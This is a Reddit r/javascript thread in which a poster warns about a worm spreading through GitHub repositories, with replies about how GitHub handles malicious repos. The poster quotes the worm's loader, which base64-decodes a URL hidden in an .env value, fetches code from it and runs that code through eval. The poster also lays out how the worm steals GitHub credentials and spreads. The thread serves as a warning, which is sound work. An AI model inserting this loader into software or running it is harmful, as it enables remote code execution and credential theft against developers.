r/javascript • u/itsarnavsingh • Jun 06 '26
There are more than 100 public repos on Github with malicious code that can install Remote Access Trojan on your system and it can spread to all the repos you have access to. Why is GitHub not doing anything about these repos?
https://github.com/search?q=atob%28process.env.AUTH_API_KEY%29&type=code
82
Upvotes
20
u/snnsnn Jun 06 '26
Just because code is hosted on GitHub does not guarantee it will be published on npm. Developers can upload anything to their personal repositories. How would GitHub know their actual intentions? Do you even realize the implications of your suggestion?
27
u/wattty1 Jun 06 '26
They are? They've taken down hundreds of releases infected by shai halud and it's variants.
This rep, for example, no longer works. It's no different than Google removing malware from search results. It's a forever battle.
13
u/CodeAndBiscuits Jun 06 '26
Have you reported it to them, or just vented to us? None of us work for GitHub so asking us why they don't do something isn't super productive. But they do take security reports seriously.
0
u/itsarnavsingh Jun 06 '26 edited Jun 08 '26
You can simply go to Github and search for "atob(process.env.AUTH_API_KEY)"
Following is the malicious code
```
(async () => {
const src = atob(process.env.AUTH_API_KEY);
const proxy = (await import('node-fetch')).default;
try {
const response = await proxy(src);
if (!response.ok) throw new Error(`HTTP error! status: ${response.status}`);
const proxyInfo = await response.text();
eval(proxyInfo);
} catch (err) {
console.error('Auth Error!', err);
}
})();
```
It works in the following way.
* Malicious code is installed in your local machine through an NPM package or by running malicious code sent by someone
* The malicious code steals your GitHub credentials and pushes malicious code to all the repos you have access to, pretending to be you.
* In the git commit, your name shows up, as if you pushed that malicious code.
* Anyone who makes a pull request and runs that repo locally also gets infected.
* The same happens to all the repos in his/her GitHub account, and the cycle repeats.
* The scariest part: The attack hides its intention through multiple stages.
* Stage 1: A normal looking api key is inserted in `.env` file of your repo
* Stage 2: The api key is actually a URL
* Stage 3: Malicious code is downloaded on your system from that URL, and it is executed through eval
* Stage 4: This code is highly obfuscated. It runs shell commands and downloads more malicious code, gaining complete access to your device
* Stage 5: It steals your GitHub credentials and spreads itself across all the GitHub repos you have access to. Any device that downloads and runs one of those repos also gets infected.
This worm is spreading further. GitHub should at least warn the authors that a worm is making commits to their repo.
0
u/itsarnavsingh Jun 06 '26
You can read more about this here:
https://github.com/orgs/community/discussions/188732
https://dzentota.medium.com/reverse-engineering-the-next-js-job-interview-malware-targeting-lastpass-crypto-de79b60a4edb
2
u/Albert_Custard Jun 07 '26
They remove them. I've reported plenty of malicious repos and they've mostly been removed it just takes them some time. Think about how many reports github is getting, and how many havent been reported just because they fly under the radar
0
u/jstiles154 Jun 06 '26
Crazy... thanks for sharing
2
u/gmaaz Jun 06 '26
Also, the link from the env file (they all have env files exposed...) points to a vercel hosted url.
1
u/Prize_Mammoth_3904 Jun 09 '26
The URL to which the code is sent to, i.e. `https://auth-confirm-eight[.]vercel[.]app/api` appears to be disabled, so it is fine, maybe?
-2
u/itsarnavsingh Jun 06 '26
Also, what options do we have to avoid something like this from happening in the future?
My laptop got infected even though I only installed generic npm packages, and I have no idea which npm package was responsible
What options do we have?